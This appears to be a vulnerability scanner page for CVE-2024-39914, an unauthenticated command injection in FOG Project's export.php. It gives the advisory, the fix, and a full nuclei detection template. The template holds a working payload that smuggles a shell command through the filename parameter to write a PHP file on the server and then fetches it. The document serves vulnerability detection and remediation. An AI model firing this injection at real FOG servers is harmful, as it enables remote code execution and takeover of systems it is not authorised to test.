FOG Project < 1.5.10.34 - Remote Command Execution

criticalseverity

9.8CVSS score

23.2%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.

Impact

Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.

Fix

Update FOG Project to version 1.5.10.34 or later.

How to confirm it

Send: POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf
Positive when: contains_all(body,"No HTML files!","HTMLDOC") and contains(content_type, "application/pdf") and status_code == 200
Send: GET /management/{{filename}}.php
Positive when: contains(body,"{{md5(num)}}") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-39914 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2024-39914

info:
  name: FOG Project < 1.5.10.34 - Remote Command Execution
  author: s4e-io
  severity: critical
  description: |
    FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php.
  impact: |
    Unauthenticated attackers can exploit command injection to achieve remote code execution on the FOG server.
  remediation: |
    Update FOG Project to version 1.5.10.34 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-39914
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39914
    - https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j
    - https://blog.csdn.net/qq_39894062/article/details/140550009
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-39914
    cwe-id: CWE-77
    epss-score: 0.23237
    epss-percentile: 0.97786
  metadata:
    vendor: fogproject
    product: fogproject
    fofa-query: icon_hash="-1952619005"
  tags: cve,cve2024,rce,fog,vkev,vuln

variables:
  filename: "{{to_lower(rand_text_alpha(12))}}"
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /management/export.php?filename=$(echo+'<?php+echo+md5({{num}});+?>'+>+{{filename}}.php)&type=pdf HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fogguiuser=fog&nojson=2

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body,"No HTML files!","HTMLDOC")'
          - 'contains(content_type, "application/pdf")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        GET /management/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'contains(content_type, "text/html")'
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from